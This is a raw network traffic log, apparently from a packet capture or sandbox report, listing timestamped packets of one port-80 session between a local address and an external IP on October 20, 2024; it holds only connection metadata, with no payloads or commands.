Oct 20, 2024 23:43:13.484071016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484080076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484091997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484098911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484098911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484102011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484114885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484123945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484126091 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484134912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484144926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484155893 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484168053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484241962 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484740973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484754086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484764099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484782934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484792948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484803915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484811068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484814882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484827995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484838009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484844923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484849930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484868050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484879971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484890938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484899998 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484899998 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484903097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484915018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484925032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484936953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484946966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484957933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484962940 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484962940 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.484968901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484982014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.484996080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.485464096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.485464096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.485660076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485672951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485680103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485690117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485702038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485712051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485718012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485722065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485728025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485733032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485743999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485743999 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.485815048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.485970974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.485984087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486026049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486172915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486183882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486200094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486211061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486221075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486231089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486231089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486242056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486246109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486255884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486267090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486278057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486283064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486283064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486289978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486303091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486314058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486324072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486332893 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486345053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486355066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486365080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486373901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486378908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486378908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486378908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486383915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.486438990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486438990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.486438990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487092018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487103939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487113953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487132072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487143040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487157106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487165928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487174988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487185955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487195969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487206936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487207890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487207890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487207890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487217903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487230062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487241030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487251997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487262011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487272024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487274885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487274885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487282991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487287045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487297058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487309933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487320900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487361908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487361908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487361908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.487955093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487966061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487977028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487987995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.487998009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488008976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488018990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488034010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488044977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488056898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488071918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488071918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488071918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488086939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488493919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488504887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488514900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488532066 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488543987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488554001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488564968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488574982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488586903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488588095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488588095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488598108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488610029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488611937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488622904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488632917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488641977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488652945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488660097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488660097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488665104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488677025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488682985 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488687992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488699913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488713980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488723993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488729954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488737106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488748074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488759995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.488801956 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488801956 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.488801956 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489535093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489547968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489564896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489574909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489587069 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489597082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489605904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489618063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489619970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489630938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489649057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489659071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489669085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489671946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489671946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489671946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489680052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489691973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489691973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489706039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489717960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489723921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489729881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489734888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489741087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489744902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489751101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.489761114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489761114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.489860058 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490269899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490281105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490291119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490300894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490312099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490323067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490333080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490338087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490344048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490464926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490464926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490664959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490677118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490685940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490699053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490710020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490720034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490731001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490741014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490745068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490745068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490751982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490806103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490806103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490806103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490835905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490848064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490858078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490868092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490879059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490889072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490899086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490911007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490920067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490931034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490941048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490941048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490941048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490941048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490953922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490963936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490977049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490982056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.490991116 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.490994930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491048098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491048098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491617918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491630077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491638899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491648912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491658926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491677999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491678953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491689920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491700888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491712093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491725922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491736889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491748095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491754055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491754055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491758108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491770029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491780043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491791964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491801977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491815090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491825104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491826057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491826057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491826057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491836071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491847038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491858959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491871119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491878033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491878033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491882086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.491955996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.491955996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492460966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492472887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492482901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492495060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492531061 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492531061 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492616892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492628098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492638111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492647886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492659092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492671967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492681026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492691040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492701054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492701054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492705107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492717028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492741108 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492741108 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492773056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492784023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492795944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492806911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492813110 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492816925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492827892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492827892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492840052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492852926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492862940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492875099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492887974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492889881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492889881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492889881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492901087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492923021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492928028 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492934942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492942095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492949009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.492989063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.492989063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.622517109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.627396107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968411922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968426943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968436956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968595028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968609095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968637943 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.968671083 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.968725920 CEST	80	49708	185.215.113.37	192.168.2.11
